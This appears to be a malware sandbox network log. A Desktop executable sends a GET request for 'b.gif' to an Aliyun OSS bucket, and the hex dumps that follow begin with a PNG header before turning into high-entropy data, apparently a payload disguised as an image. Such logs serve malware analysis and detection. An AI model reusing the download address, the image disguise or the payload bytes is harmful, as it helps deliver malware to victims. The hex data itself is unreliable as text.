2025-01-15 03:22:38 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: 92 94 95 15 58 67 66 8f 0d ac 9c 9e d7 25 61 ea 28 7c d1 e2 ef 25 bc 8d ce ad ad e6 24 78 4e a7 6d 84 b4 b6 ff 3d 79 ce ae f0 30 fa 9b e0 89 4f 97 e0 f5 8e 4a c5 b1 9a ca cc 32 1e 44 28 99 59 18 2b c0 75 e7 d9 d9 59 24 df a8 d2 97 6d ad c6 d3 0c 89 da e7 e8 02 e8 d8 2c a5 6b 2f b8 7a 4e d7 b4 f7 f6 f7 b0 72 66 df ac ff fe ff 48 88 07 bd b1 04 06 08 8c db 0a 0b 0c 45 83 1a 91 41 13 13 5c 9e de e8 0d 61 2a 1a 1c 55 95 12 81 94 23 23 6c a8 33 5d 78 28 2a 63 a5 28 4d 9a 31 31 cd 26 69 05 37 37 70 b2 37 bd 89 3c 3e 77 cd 54 35 13 45 45 0e ce 4d 39 ff 4a 4c b2 5b 0d 60 50 52 1b df 58 3d e2 59 59 12 d6 49 39 0e 5e 60 29 eb 66 89 d1 67 67 97 7c 4d 5b 6d 6d 26 e4 7d 21 c7 72 74 3d fb 62 21 29 7b 7b 34 f4 7b 65 35 80 82 7c 91 89 b6 86 88 c1 01 86 b9 38 8f 8f d8 1c Data Ascii: Xgf%a(\|%$xNm=y0OJ2D(Y+uY$m,k/zNrfHEA\aU##l3]x(c(M11&i77p7<>wT5EEM9JL[`PRX=YYI9^`)fgg\|M[mm&}!rt=b!){{4{e5\|8
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: 6c 81 49 b6 96 98 1c 6c ee db d5 13 d3 84 f1 5d b6 e1 84 a7 a7 2b 69 ab e7 cf 4d e3 ac 54 4e a7 ed 94 b4 b6 fa 33 7d f2 30 74 8e 6c 40 d5 d9 e2 c2 c4 8d 43 07 80 42 22 bf df 85 43 9b f4 81 9f 58 10 9d 5d 1f 30 41 ec db dc 91 55 32 ac 68 89 d3 6f e0 e9 41 e9 e9 a2 66 e1 81 4b ee f0 ca 0c 7a b7 c9 f9 b8 06 06 ef 75 dc fc fe b7 8b 0c 95 97 05 05 4a 8c a4 2d 7a 03 0c 0d 42 84 b4 35 6a 1b 14 15 5e 94 e1 e6 52 90 b0 39 86 17 20 21 57 69 6c ae 23 a5 8d 28 2a 67 a7 20 5d 8a 31 31 7e b8 31 61 93 36 38 b2 2f 4d 99 3c 3e 86 41 41 42 43 08 cc 32 63 60 01 c3 0f 68 6d b1 5a 51 f4 53 53 1c de 5b 15 cc 58 5a de 9c d6 ae 16 6f 29 ad e6 a4 2d ef 6a 59 fd 6b 6b 14 73 22 e2 3c 55 4e 36 47 b5 cc f9 6b 79 7a 33 bb 39 5a 5f 84 81 82 83 7b 90 cd 22 89 89 01 7b c4 00 83 45 34 90 Data Ascii: lIl]+iMTN3}0tl@CB"CX]0AU2hoAfKzuJ-zB5j^R9 !Wil#(*g ]11~1a68/M<>AABC2c`hmZQSS[XZo)-jYkks"<UN6Gkyz39Z_{"{E4
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: 75 9b 94 96 df 13 d5 be cb 63 88 7d 90 a1 a1 ea 2e a9 c1 30 a6 a8 56 bf 6d bc ac ae 2a 4f c9 af 32 4f 3f a5 b7 b8 cd af 3a 47 36 ad bf c0 b5 cf 8b 4f 10 7f c7 cc c9 ca 23 79 3b 31 30 5b 16 9a 58 68 f1 76 d7 d8 d9 92 58 18 bd 9f 82 a1 bd bc be bf 26 2a 2b 24 25 26 27 20 21 22 23 3c 3d 3e 3f 38 bd 7f ab dc e9 b2 72 90 d9 e6 a8 48 82 ee 33 8f c4 4f 8c d0 41 81 f1 8f e5 0a 84 f9 1e 96 c1 14 15 16 94 e0 18 15 9f b1 1d 1e 1f 68 ac 2f 15 b1 24 26 6f a1 5d 0e 6b d3 38 75 3f 31 31 7a b8 39 51 b2 36 38 71 b9 c2 c3 48 6b 73 cb 4c 1d d6 45 45 0a cc 4d 09 df 4a 4c c6 5b 2d c5 50 52 1b d9 50 15 d3 59 59 e3 5a 5c 5d 5e 17 e9 25 46 4b 2c ee 63 25 fd 68 6a 23 e5 29 4a 4f 8f 64 ad e7 75 75 3e fc 75 59 fe 7a 7c f6 8e 37 03 49 7d 06 72 cd 89 cf 40 0c 7c c3 05 80 85 0b 91 91 Data Ascii: uc}.0VmO2O?:G6O#y;10[XhvX&+$%&' !"#<=>?8rH3OAh/$&o]k8u?11z9Q68qHksLEEMJL[-PRPYYZ\]^%FK,c%hj#)JOduu>uYz\|7I}r@\|
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: b7 ac d4 2f 87 98 99 9a d3 17 d5 96 ac 72 e9 2b ff 80 8d ee 2e e4 8d 96 e3 27 e1 8a 9f 77 f5 96 8b b5 b5 b6 b7 7f fd 9e ff be bd be bf 88 48 9e e7 e4 3a d3 4d 37 c9 ca 4e 0c b8 c8 30 c5 d1 d2 d2 d4 9d 5d 9b fc e9 25 ce c1 dd df df 27 e4 4d 65 e5 e5 e7 e7 e8 e9 d9 22 04 89 21 10 0f b9 7f fe 91 70 f7 f7 07 ec 75 fb fd fd b6 7c 3d 96 76 02 04 fa 4a 8a 05 31 fb f4 f3 41 87 02 81 94 13 13 d3 10 81 92 19 19 19 3b 1c 1d 56 96 3d 49 a7 22 24 6d af 3a a9 ac 2b 2b 59 16 6b 1c f0 79 bf 36 51 41 37 37 82 3a 1a 3b 3c 75 b7 7b 64 69 03 ce 0c 44 0e ce 14 6d 6a b4 59 49 cb 4e 50 19 d9 46 11 21 57 57 11 da 92 a4 d9 9d 17 50 28 b1 2a ea 71 51 12 66 68 21 e7 66 81 e9 6f 6f 8f 64 8d 8c 74 75 9e bd 90 86 85 33 f1 31 5a 2f b3 53 c3 3b 98 84 86 87 60 a1 ee 8b 8c c5 03 c3 b4 c1 Data Ascii: /r+.'wH:M7N0]%'Me"!pu\|=vJ1A;V=I"$m:++Yky6QA77:;<u{diDmjYINPF!WWP(*qQfh!foodtu31Z/S;`
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: b7 d4 16 36 5f 98 99 9a 66 24 62 61 60 df e9 29 d7 80 cd ee 24 6c f9 f5 68 e4 28 58 db 05 f9 39 f7 90 85 fe 3e e4 9d da 38 c4 a9 be ca 84 a7 a4 a5 54 ca 71 d8 ae 4a 31 8a be c7 a8 4c 2b 8b a5 d7 b2 56 15 f7 d7 6e dc bd e1 9c de ad ea 87 df b9 e4 92 e2 81 ed c9 ea a3 6f 2a ec a7 73 37 f0 95 71 2e 82 b6 9e c2 22 8f 34 16 c4 99 66 91 64 65 94 0a b1 08 40 84 5e 2f 3c e5 dd 26 10 11 1d a4 1a 5d 9b 43 3c 29 7c 90 c4 55 9d d8 22 c9 9d 0a 24 25 6e a4 ee 2b 4c ae f7 59 2b 49 0b e9 46 e2 78 be 6a 13 78 36 8d f3 33 8a fd 77 cb 1d 66 23 6f 84 c6 3b 6c 01 4a 3f 44 0c cd ec 98 51 52 53 a9 1d dd 23 7c 31 12 d8 98 0d 01 9c ac ad ae af a8 2d e5 8b 50 ea 57 ae 06 6c 6e 6f 3c fa bb 7c f1 f7 76 77 78 31 ff b2 09 50 96 5d ad 81 82 c6 b7 4c c3 b4 48 ba 58 b8 45 c5 49 cb b4 b1 Data Ascii: 6_f$ba`)$lh(X9>8TqJ1L+Vno*s7q."4fde@^/<&]C<)\|U"$%n+LY+IFxjx63wf#o;lJ?DQRS#\|1-PWlno<\|vwx1P]LHXEI
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: ce d5 c9 c9 c9 c5 5a 56 57 50 51 52 53 6c 6d 6e 6f 68 e5 f5 ef 2b 45 9a e3 29 64 e6 24 69 be 36 d4 b5 b5 b6 ff 3d 6b b5 3f e2 bc be bf 85 f2 10 8e 41 05 8a 4c 11 bd e2 8a c3 7a ce a9 55 11 a6 cc 95 6f d4 d7 d8 d9 93 e0 0e d2 58 25 e0 e1 e2 af 69 bc e4 81 61 e8 8c aa 2b ee d4 ef bd f2 28 be 71 3c 82 ad 9e b8 79 c2 fc 89 ad 99 66 91 64 65 94 4c 85 c5 09 45 31 d9 03 8e c5 0f 10 11 53 1c a3 14 5f 94 d9 1b 53 98 df 1f 78 5e a9 62 dc 45 65 a6 1f 27 5d f2 6b 24 9b 6c d0 49 0d 1e 32 47 29 53 0b 6b 38 4d 2d 72 bf ff 3f 73 7b 93 4d c0 d1 45 46 47 2e 08 8d 48 10 4d 07 cc 93 53 1a d8 18 71 36 1f dd 90 2e 73 3a de 67 5f 14 43 04 05 f4 2c e5 a5 69 25 51 b9 1f 02 61 d8 71 39 f1 b2 76 3c f5 b4 7a 1f 3b f2 3f 83 18 fc b9 81 f7 62 cc 0e ca a3 e0 c1 0f 42 f8 cb 81 38 91 f7 Data Ascii: ZVWPQRSlmnoh+E)d$i6=k?ALzUoX%ia+(q<yfdeLE1S_Sx^bEe']k$lI2G)Sk8M-r?s{MEFG.HMSq6.s:g_C,i%Qaq9v<z;?bB8
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: db 17 55 b6 de 1b 71 9b ee 4c d5 15 1d f8 a0 a2 a3 54 26 26 c7 a9 a9 aa aa 6f 61 62 63 7c 7d 7e 7f 78 fd 33 7e b7 3d 2c bb bc bd 4e 3c c1 3e 8a 48 45 d5 c7 c7 c8 81 4f 0b b8 c9 3e 4c d0 2e 9a 58 55 f5 d7 d7 d8 91 5f 1b a8 d9 2e 5c e0 1e aa 68 65 fd e7 e7 e8 a1 6f 2b 98 e9 1e 6c f0 0e ba 78 75 c5 f7 f7 f8 b1 7f 3b 88 f9 0e 7c 00 fe 4a 8e 45 5d 47 bf 0e 09 0a 0b 40 80 03 fd 24 10 12 75 84 59 2f 5f e8 6d 16 53 97 0d 56 9a f2 55 26 d3 a7 27 d9 6f ab 51 d2 2b 58 20 66 a4 60 39 7a b6 e6 41 32 c7 bb 3b c5 73 bf fd 1e 76 c3 a9 43 36 94 0d cd c6 10 48 4a 4b bc ce ce 2f 51 51 52 ac 1c de 97 94 94 95 96 97 90 91 92 93 ac ad ae af a8 25 35 2f eb 85 4a 23 e9 bf 26 e4 aa 05 37 3b f1 bc 02 37 34 f2 6b 37 47 af 0a 50 c8 08 93 cb 0f 4f 6e 0d 76 76 75 c6 09 5f fa 90 d9 1a Data Ascii: UqLT&&oabc\|}~x3~=,N<>HEO>L.XU_.\heo+lxu;\|JE]G@$uY/_mSVU&'oQ+X f`9zA2;svC6HJK/QQR%5/J#&7;74k7GPOnvvu_
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: 56 1f 5a 7e 3d d3 99 9a d3 17 d6 8e 14 50 ae 14 e7 80 95 2e a6 41 2a aa ab ac e5 25 db 94 f1 31 7a 94 36 7e 48 31 f2 a2 f3 37 e1 9a f7 88 42 06 e3 9b 06 45 38 37 bd e9 48 33 33 ba d1 98 5a 15 9b 5f 1a 9e 5a cd d1 82 da dc 5e 3e c0 a8 20 1b e6 ac 8e 26 bf a0 ea ee 21 07 ea a6 62 f5 71 d8 f2 f4 03 b6 ff d8 8d e9 c8 2e 76 31 bb 8d 43 00 eb d9 44 06 07 40 8a f2 f4 78 2b 46 84 5b 01 98 57 30 25 9e 16 f3 0f a7 1a 1c 1d 1e 57 ad 75 06 13 af ea 62 ac ed c1 3d 60 2c 2d a5 df 0b c4 46 3a b7 7e 2e 17 bb f1 c5 d0 39 32 88 7b 64 71 0a c8 28 61 7e 0f c3 3d 6e 0b 04 c6 12 6b 18 19 d1 97 74 0a 95 9b 94 95 96 97 90 91 92 93 ac ad ae af a8 2d ef 3b 4c 79 3c 23 ef 81 0e 22 f5 b8 3f f8 a5 3c fd 87 30 f2 a0 37 f7 a4 0b 50 68 a1 7f 7c 7b c0 b5 4e cd ba 4a 4c 8c 9b 8e 8f 90 a2 Data Ascii: VZ~=P.A*%1z6~H17BE87H33Z_Z^> &!bq.v1CD@x+F[W0%Wub=`,-F:~.92{dq(a~=nkt-;Ly<#"?<07Ph\|{NJL
2025-01-15 03:22:38 UTC	4096	IN	Data Raw: 65 57 94 e2 9f d0 12 55 73 09 58 61 60 e8 2a 65 eb 2f f9 82 97 e0 2a 6e 8b f3 6e 62 63 7c 7d 7e 7f 78 f9 3b f6 a9 f1 39 79 ad f1 95 7d a6 51 a4 a5 54 ca 70 cd 8a c6 7c cf ce e6 06 ba d8 99 51 11 d5 50 16 a2 34 5c 13 d4 48 1d 1d 13 2c 2d 2e 2f 28 ad 6f ea 01 c2 eb eb 2f 21 22 23 3c 3d 3e 3f 38 b5 a5 bf 7b 15 da b3 77 24 b6 74 0d d1 29 02 04 ed 1d e4 f7 f6 42 8e cc 79 1a 47 9b da ed c3 91 d5 62 1c a0 18 1a 1b 1c 55 9d db 00 7a e1 10 e4 6d a5 e3 08 72 e9 e7 e0 e1 e2 e3 fc fd fe ff f8 75 65 7f bb d5 1a 73 bf c4 de 77 cb 98 4d c4 df 45 46 47 00 c0 3e 6f 7c 05 cb 86 ee 50 52 53 54 1d 59 12 a9 11 d3 27 78 65 38 39 f0 07 04 05 f4 2d ed 6a d9 59 6b 6b 24 e8 a7 1a 50 99 7d 77 74 75 cf 69 78 79 7a 93 b9 7c 7e 7f 39 7e 82 83 84 6d 4d 74 77 76 c2 00 81 01 be 8e 90 dd Data Ascii: eWUsXa`e/nnbc\|}~x;9y}QTp\|QP4\H,-./(o/!"#<=>?8{w$t)ByGbUzmrueswMEFG>o\|PRSTY'xe89-jYkk$P}wtuixyz\|~9~mMtwv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:40 UTC	105	OUT	GET /b.gif HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:40 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:40 GMT Content-Type: image/gif Content-Length: 125333 Connection: close x-oss-request-id: 67872A009F27CB3236F0C3B5 Accept-Ranges: bytes ETag: "2CA9F4AB0970AA58989D66D9458F8701" Last-Modified: Mon, 13 Jan 2025 12:21:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10333201072197591521 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: LKn0qwlwqliYnWbZRY+HAQ== x-oss-server-time: 21
2025-01-15 03:22:40 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 5e 5f 58 dd 1d c6 90 d1 17 9e 99 14 9f 9f e8 24 70 eb ab e0 64 64 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 fd 3f eb 9c b1 ed f3 3f 51 9e f7 4d c4 05 d1 c5 c5 8e 4c 31 81 43 ca 47 17 86 4c 11 d9 3a 49 f3 d5 d6 21 1b d8 ae d6 66 c5 de df e0 a9 69 2c 0c cd ed e7 e8 a1 61 b7 c8 dd a6 64 37 b9 71 37 d4 aa 35 3b 34 35 36 37 30 31 32 33 cc cd ce cf c8 4d 8b 02 89 1b 0b 0b 44 84 0f 47 93 d0 1a fa 4d 32 16 17 d4 d5 d6 d7 d0 d1 d2 d3 ec ed ee ef e8 6d ab 22 b9 a1 2b 2b 64 ea 6f 3f 30 31 32 33 7c bc 77 3f 70 b4 3f dd 2e 3c 3e 77 c9 40 0a c8 85 86 8a 8b 84 85 86 87 80 81 82 83 9c 9d 9e 9f 98 1d d5 bb 10 11 d7 17 78 7d b6 9d 9f 9e 9d 2b e9 70 7d c1 69 69 22 e6 20 49 4e 87 11 59 72 73 b8 35 25 3f fb 95 5a 33 f7 a4 36 f4 42 c9 0f 8e 81 97 87 87 87 de 4a c3 01 de 86 c7 19 Data Ascii: ^_X$pdddefg`abc\|}~x??QML1CGL:I!fi,ad7q75;45670123MDGM2m"++do?0123\|w?p?.<>w@x}+p}ii" INYrs5%?Z36BJ
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 6d 6d 6b 6a 06 df 1b 5d a2 58 50 d5 1d 73 88 18 aa a3 a4 a5 4e a1 a8 a9 aa 3b e4 2e 6a 87 73 38 fe 97 bc fd 35 5b 90 00 ad bb bc bd 41 aa f1 c1 c3 c3 41 05 b2 cf 43 8d ee fb 47 05 03 e6 98 5c df bd 6f d4 d6 3f ad d9 da db 94 56 9a fb c8 a9 6b e6 b1 59 e7 e7 a0 64 ae cf c4 a5 6d 2f f8 b9 7b f6 11 4e f7 f7 b0 72 ff c5 40 fc fe b7 89 04 ad b9 05 05 c1 02 9d b3 0b 0b 05 09 0e cf d7 14 9d a9 15 15 17 17 18 19 dd 1e 85 a7 1f 1f 21 21 22 23 9c 2d 26 27 28 61 41 eb 2c 65 a3 22 a1 8b 33 33 bf 61 12 07 70 b0 2e 3a 74 b0 33 f5 42 40 42 ab 09 bb b9 b8 d8 01 c9 8f 64 8e 82 83 9c 19 db 0f 70 75 01 1f db b5 1a 13 d7 84 a1 4a 01 9e 62 63 2c ee dd 9f 68 69 6a 23 e1 39 4a 3f 38 fa bd 36 47 b5 89 62 29 86 7a 7b 34 f8 be 0b b2 c9 01 e7 a0 bd 86 cf 05 c5 ae d3 c4 06 da ab c0 Data Ascii: mmkj]XPsN;.js85[AACG\o?VkYdm/{Nr@!!"#-&'(aA,e"33ap.:t3B@BdpuJbc,hij#9J?86Gb)z{4
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: c2 4b 9b bd e2 b3 b8 d1 11 54 fa 92 e1 ef 78 e4 29 53 97 53 4e e5 ab a9 aa ef 27 a2 9d 7d f5 34 7b bc 30 77 b6 b7 b8 f5 31 fc b4 f1 33 aa 41 0e 3d 3c 8c 4e 81 df 43 02 8e f0 3c b1 d5 87 11 39 f2 97 ef 25 a9 c5 5d 10 51 01 57 2f d1 9b 39 68 be c7 cc ea ce 93 cc c9 ab e4 5a e5 11 2d 73 10 fd b9 fb 4b 72 e6 f8 dd fb fb be 77 72 ee 10 25 03 03 48 2e c6 46 83 49 f6 d8 e4 41 87 48 18 98 55 0b 55 1a a0 1f 9b f8 15 51 13 a3 9a 0e 20 05 23 23 66 af aa 36 38 0d 2b 2b 60 06 ee 6e bb 71 ce e0 dc 79 bf 70 30 b0 7d 27 7d 32 88 37 c3 a0 4d 09 4b fb c2 56 48 6d 4b 4b 0e c7 c2 5e 40 75 53 53 18 7e 96 16 d3 19 a6 88 b4 11 d7 18 68 e8 25 43 25 ee 66 2e eb a9 6e 27 e5 2a 66 e6 37 55 33 48 a5 7a f3 3e 87 86 85 84 ba 1b 71 00 f4 a5 c2 cb 09 d1 a2 c7 01 fd ae b3 c4 06 41 67 c9 Data Ascii: KTx)SSN'}4{0w13A=<NC<9%]QW/9hZ-sKrwr%H.FIAHUUQ ##f68++`nqyp0}'}27MKVHmKK^@uSS~h%C%f.n'*f7U3Hz>qAg
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 19 d1 84 d1 1d 87 d9 96 2c 92 1f 7c 91 d5 af 1f 26 92 a4 81 a7 a7 ea 23 26 9a bc 89 af af fc 9a 7a f2 3f f4 4a 64 50 ba 4a 30 7a f4 bd 7d 88 c2 05 8b ff 1d b4 ec 89 c6 7c c2 8d 32 0e 4c 31 de 98 dc 6a 51 e7 d7 fc d8 da 99 56 51 ef cf c4 e0 e2 af cf 2d a7 6c b9 15 39 01 13 27 ab d4 33 83 57 b6 71 35 f9 b3 2d 72 38 10 fe 76 3b b7 8b 5d 26 13 4c 8e 6a 23 10 41 81 7f 28 2d 46 84 6c 35 3a 52 4a d6 da db d4 51 93 47 38 15 56 96 54 05 32 6b ad 59 02 3f 69 7c 6b 7d 6d 7a 66 ac dc 01 7f b8 c5 7c bd ef 70 b2 c8 77 b7 d4 0d c0 01 78 3a 47 30 4a 0b 24 30 4d a2 b9 b8 b2 b1 06 dd 45 55 b8 52 1d dd 80 1c d2 a5 13 d9 8f 51 db 17 60 62 63 21 e0 99 13 79 81 b9 9f 93 92 26 e4 b8 39 11 30 70 3d 75 bf 93 7a 32 f0 b3 3d 46 06 90 8e 06 d7 85 85 86 be f3 81 ff 83 b5 b6 81 02 d7 Data Ascii: ,\|&#&z?JdPJ0z}\|2L1jQVQ-l9'3Wq5-r8v;]&Lj#A(-Fl5:RJQG8VT2kY?i\|k}mzf\|pwx:G0J$0MEURQ`bc!y&90p=uz2=F
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: de 1a f0 b1 a6 df 11 dd be b3 d0 14 ea bb 80 49 6d 55 5b 5a ea 2c d5 29 e7 20 eb a5 e6 22 a5 21 1d 4c 4b f4 b9 01 b0 3a 5b b4 f4 b2 00 3b d1 c1 e6 c2 c4 4f 4a d6 d8 ed cb cb 80 e6 0e 8e 5b 91 2e 00 3c 98 5f 90 d0 98 53 9c c4 9c d1 69 e8 62 03 ec ac ea 58 63 f9 e9 ce ea ec 67 62 fe e0 d5 f3 f3 b8 de 36 b6 73 b9 06 28 14 b0 77 b8 08 40 8b 44 18 44 09 b1 00 8a eb 04 44 02 b0 8b 01 11 36 12 14 9f 9a 06 08 3d 1b 1b 50 36 de 5e ab 61 de f0 cc ae 6a 03 40 68 a3 6c 0c d2 ef 62 b9 76 3a 7a b9 75 32 76 b3 29 73 b2 7b 35 7f b6 17 65 cb 0f 60 2d 7d 0a 88 46 c8 5a b2 b2 b1 0e a6 57 12 27 05 1c dd 81 10 d2 94 b3 69 81 a1 a0 e4 a1 6d e7 f0 65 66 67 83 55 e9 16 9c 6d 18 59 f0 cc 8a 73 74 75 76 78 fd ee 7a 7b 7c f6 fb 7f 81 81 82 cf 0f 4b ca 0e ec ad b2 c6 07 48 07 cb b4 Data Ascii: ImU[Z,) "!LK:[;OJ[.<_SibXcgb6s(w@DDD6=P6^aj@hlbv:zu2v)s{5e`-}FZW'imefgUmYstuvxz{\|KH
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 19 52 57 d5 c5 df 1b 75 ba d3 17 44 d6 14 62 e9 2f ae 41 67 a6 a7 a7 fe 6a e3 25 a6 e6 22 e3 b9 fa 3e fc bd b9 a6 ba 51 99 6c 43 42 f6 32 c5 29 06 c3 c4 8d 4f c4 80 42 09 83 4f 09 ee 94 13 99 51 b2 c4 d5 9e 5a dd 39 1e db dc 95 57 9e e8 a9 6f e6 21 21 e6 e7 a0 60 eb a3 67 2c 2d 23 3c b1 a1 a5 a3 b4 a2 b6 ad b8 ac ba ab b5 7d 13 70 49 89 fa 41 36 f9 43 81 75 2e 2b 48 2c b2 2b a0 11 12 13 58 34 6a 33 30 55 3b a7 38 d5 1e 1f 20 c9 85 ff db da 6a ac 40 01 66 a2 40 09 6e c7 a9 ed cd cc 7c be 76 17 70 b0 be 1f fc 3d 3e 3f 08 ca 35 13 0c cc f2 63 f0 49 4a 4b 04 c6 09 07 18 d8 16 77 64 1d dd 08 18 11 d1 1c 6c 15 d7 1b 44 29 2e e8 13 4d 2a ee 1c 4d 3a 23 e7 a6 86 29 7f 71 72 9b 21 a9 89 88 30 f0 0a 5b 94 31 a2 80 7f c9 0b db ac 6d c5 5b 77 76 c2 00 dc ad c6 04 c2 Data Ascii: RWuDb/Agj%">QlCB2)OBOQZ9Wo!!`g,-#<}pIA6Cu.+H,+X4j30U;8 j@f@n\|vp=>?5cIJKwdlD).M*M:#)qr!0[1m[wv
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: b6 83 dd 52 57 b7 9d 0a 83 72 99 9d 9e 9f 6c 6d 6e 6f 68 66 6a 6b 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 76 7a 7b 74 f1 31 be a9 0f be bf 88 4c d7 ad 73 3a 39 8f f3 0b be e8 a9 85 45 cb f5 e1 d2 d3 d4 9d 5d 5e 40 d9 da db 94 e6 96 cf 92 e7 aa d8 ac ed 90 e0 51 e4 ea eb ec 20 c7 2c 3c b1 a1 bb 77 19 d6 c4 23 b1 77 ee 81 8c ff ff 45 32 c2 4b 89 09 9d 4f 85 05 c0 b1 ac 02 0e 0f f8 c9 10 13 14 90 d6 63 09 e6 1f 9d 6d 1c 1e e0 e3 a2 d9 22 56 f6 96 26 c3 2e c2 21 2c 2d 2e 1d f0 79 b1 f7 14 6e f5 fb f4 79 69 73 bf d1 1e b4 5d 21 33 42 44 ae 5b 0f c5 4c 65 3a 4d 4d b1 84 18 dc 5e c8 1c d8 5a 9f a7 4c 4d eb 5c 5d a1 52 21 10 63 63 e1 be 13 b8 d8 68 22 e8 a8 4d 35 ac bc 39 fb 2f 50 7d 3e fe 14 5d 6a 33 f5 09 5a 67 d7 c0 d6 c2 d1 c4 d0 c6 df c1 09 67 ac 06 77 c3 1d Data Ascii: RWrlmnohfjkdefg`abc\|}~xvz{t1Ls:9E]^@Q ,<w#wE2KOcm"V&.!,-.ynyis]!3BD[Le:MM^ZLM\]R!cch"M59/P}>]j3Zggw
2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 18 94 1c 96 de 68 5b d0 17 e4 9e dd 1a 69 d4 bd e2 27 49 d0 0c e7 28 57 8a df aa ed 2e 51 b9 c4 2c fb 31 6e c2 be 7e fa 45 bb 57 be f6 40 0f 81 f0 35 4e c2 42 07 c7 4d 1c cb cc cd f2 ef a4 d5 ee da a1 d2 9e 28 1f 53 dd 30 2d 59 1e d0 64 5e e2 e3 e4 a8 63 11 9c ee a3 62 f2 a4 6d 29 f8 b8 0d b6 f4 4f f7 f7 f8 f9 c9 3b 17 f8 b6 00 c7 fe c2 89 0b 85 ff 5b 7c fd 8a f2 2e 78 3f 8b d2 64 0a 53 90 e3 62 1d 20 56 1b 6e 19 55 e1 d8 cb 28 11 f1 64 a1 d0 67 27 bd ec fa c4 c6 3f d0 f8 79 b7 e8 40 33 f0 34 64 71 c5 f8 75 c2 3a 1b c5 81 37 a8 ce 42 c2 87 3c 0f 0a cf ba 38 46 73 70 25 6f 6f 5d 21 6f d2 8a 2d 77 13 d9 86 2a 5a e8 62 2a 9c a7 6a d8 68 80 99 59 6b 6c e8 ae 1b 63 38 8d 77 50 3d 89 b0 30 fc a1 0f 7b f7 79 f7 83 c9 7d 40 cd 7a 82 a3 c0 76 4d 62 e9 72 71 70 d8 Data Ascii: h[i'I(W.Q,1n~EW@5NBM(S0-Yd^cbm)O;[\|.x?dSb VnU(dg'?y@34dqu:7B<8Fsp%oo]!o-wZbjhYklc8wP=0{y}@zvMbrqp
